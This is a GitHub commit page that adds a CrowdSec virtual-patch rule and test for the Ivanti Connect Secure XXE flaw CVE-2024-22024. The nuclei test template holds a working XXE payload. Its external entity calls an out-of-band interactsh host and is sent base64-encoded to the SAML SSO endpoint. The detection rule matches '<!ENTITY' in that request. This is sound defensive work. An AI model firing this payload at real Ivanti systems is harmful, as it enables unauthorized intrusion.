-
Notifications
You must be signed in to change notification settings - Fork 164
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add CVE-2024-22024 vpatch rule (#1010)
* Add CVE-2024-22024 vpatch rule
- Loading branch information
1 parent
8df4a3f
commit 4518153
Showing
6 changed files
with
90 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
id: CVE-2024-22024 | ||
info: | ||
name: CVE-2024-22024 | ||
author: crowdsec | ||
severity: info | ||
description: CVE-2024-22024 testing | ||
tags: appsec-testing | ||
|
||
variables: | ||
payload: '<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM | ||
"http://{{interactsh-url}}/x"> %watchTowr;]><r></r>' | ||
|
||
http: | ||
- raw: | ||
- | | ||
POST /dana-na/auth/saml-sso.cgi HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/x-www-form-urlencoded | ||
SAMLRequest={{base64(payload)}} | ||
matchers: | ||
- type: status | ||
status: | ||
- 403 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
appsec-rules: | ||
- ./appsec-rules/crowdsecurity/vpatch-CVE-2024-22024.yaml | ||
nuclei_template: CVE-2024-22024.yaml |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -15004,4 +15004,4 @@ | |
} | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
name: crowdsecurity/vpatch-CVE-2024-22024 | ||
description: "Ivanti Connect Secure - XXE (CVE-2024-22024)" | ||
rules: | ||
- and: | ||
- zones: | ||
- METHOD | ||
match: | ||
type: equals | ||
value: POST | ||
- zones: | ||
- URI | ||
transform: | ||
- lowercase | ||
match: | ||
type: endsWith | ||
value: "/dana-na/auth/saml-sso.cgi" | ||
- zones: | ||
- BODY_ARGS | ||
transform: | ||
- b64decode | ||
variables: | ||
- SAMLRequest | ||
match: | ||
type: contains | ||
value: "<!ENTITY" | ||
labels: | ||
type: exploit | ||
service: http | ||
confidence: 3 | ||
spoofable: 0 | ||
behavior: "http:exploit" | ||
label: "Ivanti Connect Secure - XXE" | ||
classification: | ||
- cve.CVE-2024-22024 | ||
- attack.T1595 | ||
- attack.T1190 | ||
- cwe.CWE-611 | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters